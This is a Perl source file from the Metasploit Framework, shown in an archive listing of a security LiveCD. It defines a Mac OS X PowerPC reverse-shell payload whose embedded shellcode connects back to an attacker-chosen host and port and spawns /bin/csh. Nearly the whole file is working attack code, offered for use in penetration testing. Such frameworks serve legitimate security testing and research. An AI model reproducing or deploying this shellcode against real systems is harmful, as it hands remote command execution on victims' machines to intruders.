home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / osx_ppc_reverse.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  82 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::osx_ppc_reverse;
  11. use strict;
  12. use base 'Msf::PayloadComponent::ReverseConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'Mac OS X PPC Reverse Shell',
  17.   'Version'      => '$Revision: 1.2 $',
  18.   'Description'  => 'Connect back to attacker and spawn a shell',
  19.   'Authors'      => [ 'H D Moore <hdm [at] metasploit.com>', ],
  20.   'Arch'         => [ 'ppc' ],
  21.   'Priv'         => 0,
  22.   'OS'           => [ 'osx' ],
  23.   'Size'         => '',
  24. };
  25.  
  26. sub new {
  27.   my $class = shift;
  28.   my $hash = @_ ? shift : { };
  29.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  30.   my $self = $class->SUPER::new($hash, @_);
  31.  
  32.   $self->_Info->{'Size'} = $self->_GenSize;
  33.   return($self);
  34. }
  35.  
  36. sub Build {
  37.   my $self = shift;
  38.   return($self->Generate($self->GetVar('LHOST'), $self->GetVar('LPORT')));
  39. }
  40.  
  41. sub Generate {
  42.   my $self = shift;
  43.   my $host = shift;
  44.   my $port = shift;
  45.   my $off_port = 34;
  46.   my $off_host = 36;
  47.   
  48.   # connect back, dup2, execve(/bin/csh)
  49.   # /bin/csh + null < /bin/sh + setuid(0)
  50.   my $shellcode = pack('N*',
  51.     0x38600002,0x38800001,0x38a00006,0x38000061,
  52.     0x44000002,0x7c000278,0x7c7e1b78,0x4800000d,
  53.     0x00022211,0x7f000001,0x7c8802a6,0x38a00010,
  54.     0x38000062,0x7fc3f378,0x44000002,0x7c000278,
  55.     0x38a00002,0x3800005a,0x7fc3f378,0x7ca42b78,
  56.     0x44000002,0x7c000278,0x38a5ffff,0x2c05ffff,
  57.     0x4082ffe5,
  58.     # vfork added to work around threaded apps :(
  59.     0x38000042, 0x44000002, 0x7c000278,
  60.     # now do the real execve 
  61.     0x7ca52a79,0x4082fffd,0x7c6802a6,
  62.     0x38630020,0x9061fff8,0x90a1fffc,0x3881fff8,
  63.     0x3800003b,0x7c0004ac,0x44000002,0x2f62696e,
  64.     0x2f637368,0x00414141
  65.   );
  66.  
  67.   my $host_bin = gethostbyname($host);
  68.   my $port_bin = pack('n', $port);
  69.  
  70.   substr($shellcode, $off_host, 4, $host_bin);
  71.   substr($shellcode, $off_port, 2, $port_bin);
  72.   return($shellcode);
  73. }
  74.  
  75. sub _GenSize {
  76.   my $self = shift;
  77.   my $bin = $self->Generate('127.0.0.1', 4444);
  78.   return(length($bin));
  79. }
  80.  
  81. 1;
  82.